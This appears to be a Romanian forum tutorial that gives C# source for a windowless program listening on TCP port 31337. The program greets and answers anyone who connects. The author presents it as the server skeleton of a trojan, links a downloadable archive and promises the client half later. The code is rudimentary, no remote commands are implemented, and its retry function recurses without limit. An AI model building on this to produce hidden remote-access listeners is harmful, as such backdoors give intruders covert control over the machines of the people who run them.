Deoarece Windows Vista este partial integrat in platforma .NET Framework trebuie sa stim sa lucram si in C#. MS lasa de inteles ca o sa faca ei cumva sa anuleze interportabilitatea programelor de pe linux pe windows. Deci, prin urmare m-am decis sa fac acest tutorial. Capitolul 1 - Serverul Pasul 1 - Crearea unei aplicatii fara fereastra Cream un proiect - eu l-am numit Server Stergem Form-ul principal. Intram in Program.cs si modificam. Sursa dupa modificare sa fie asa: using System; using System.Windows.Forms; namespace Server { static class Program { [STAThread] static void Main() { } } } Pasul 2 - Crearea Serverului Scriem functia urmatoare care tot incearca sa creeze serverul in caz ca nu ii iese static void StartServer() { // Incercam sa vedem daca merge sa cream serverul try { createServer(); } // Daca nu merge incercam inca odata, si inca odata, s.a.m.d. catch { StartServer(); } } Acum facem functia createServer care creaza serverul propriuzis static TcpListener SV; static void createServer() { // se initializeaza portul int port = 31337; // se creaza serverul care "miroase" acel port SV = new TcpListener(IPAddress.Any,port); // se accepta doar o singura conexiune SV.Start(1); // cream un thread pentru a rula functia care "miroase" Thread newThread = new Thread(new ThreadStart(startListen)); // rulam threadul newThread.Start(); } Acum functia care "miroase" acel port static void startListen() { // cream un socket pentru conexiune Socket LS = SV.AcceptSocket(); // daca s-a conectat careva ii trimitem mesajul "Welcome" if (LS.Connected) { // cream octetii(bytes) care trebuie sa ii trimitem byte[] buffer = new byte[1024]; // salvam un mesaj in ei buffer = Encoding.Default.GetBytes("Welcome Dude :)"); // ii trimitem LS.Send(buffer); // in caz ca dupa trimitere m-ai suntem conectati stam si receptam date while (LS.Connected) { try { // lungimea mesajului receptat int len = LS.Receive(buffer); if (len != 0) { string msg = parseData(buffer, len); LS.Send(Encoding.Default.GetBytes(msg.ToCharArray())); } } catch { } } } // altfel mai incercam odata else { // cream un thread pentru a rula functia din nou care "miroase" Thread newThread = new Thread(new ThreadStart(startListen)); newThread.Start(); } } Acum functia care parseaza mesajul. static string parseData(byte[] buffer, int len) { return "Hy "; } La sfarsit, headerul din Program.cs este using System; using System.Windows.Forms; using System.Net; using System.Net.Sockets; using System.Threading; using System.Text; * Nu m-am complicat eu prea tare. V-am oferit o structura care o puteti folosii la crearea serverului unui troian in .NET Framework 2.0 ** Sursa: http://cqf.ifastnet.com/surse/schita-troian-server.rar PS: O sa revin in cursul zilei de azi cu ce lipseste - si anume clientul.